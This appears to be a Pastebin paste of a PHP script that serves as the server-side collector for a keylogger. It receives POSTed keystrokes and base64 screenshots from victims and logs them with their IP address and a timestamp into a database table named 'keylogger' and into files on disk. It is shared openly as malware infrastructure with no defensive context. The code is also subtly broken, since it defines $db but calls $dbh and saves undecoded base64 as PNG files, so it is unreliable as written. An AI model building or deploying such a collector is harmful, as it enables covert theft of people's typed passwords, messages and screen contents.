Advertisement
Guest User

Untitled

a guest
Mar 4th, 2018
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.14 KB | None | 0 0
  1. <?php
  2. $user = "логин"; // DB username
  3. $pass = "пароль"; // DB password
  4. $dat = date("Y:m:d H:i:s");
  5. $ip = $_SERVER['REMOTE_ADDR'];
  6.  
  7. try {
  8. $db = new PDO('mysql:host=localhost;dbname=имя', $user, $pass); // DB Connection
  9. if(isset($_POST["text"]))
  10. {
  11. $input = $_POST["text"];
  12. // Send information
  13. $stmt = $dbh->prepare("INSERT INTO keylogger (ip, dat, record) VALUES (:ip, :dat, :record)");
  14. $stmt->bindParam(':ip', $ip);
  15. $stmt->bindParam(':dat', $dat);
  16. $stmt->bindParam(':record', $input);
  17. $stmt->execute();
  18. file_put_contents("data.txt", $input, FILE_APPEND);
  19. }
  20.  
  21. if(isset($_POST["image"]))
  22. {
  23. $input = $_POST["image"];
  24. $file = fopen(time()."_image.png", 'wb');
  25.  
  26. $blobImage = base64_decode($input);
  27.  
  28. $stmt = $dbh->prepare("INSERT INTO keylogger (ip, dat, screenshot) VALUES (:ip, :dat, :screenshot)");
  29. $stmt->bindParam(':ip', $ip);
  30. $stmt->bindParam(':dat', $dat);
  31. $stmt->bindParam(':screenshot', $blobImage);
  32. $stmt->execute();
  33. fwrite($file, $input);
  34. fclose($file);
  35. }
  36. } catch (PDOException $e) {
  37. print "Error!: " . $e->getMessage() . "<br/>";
  38. die();
  39. }
  40. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement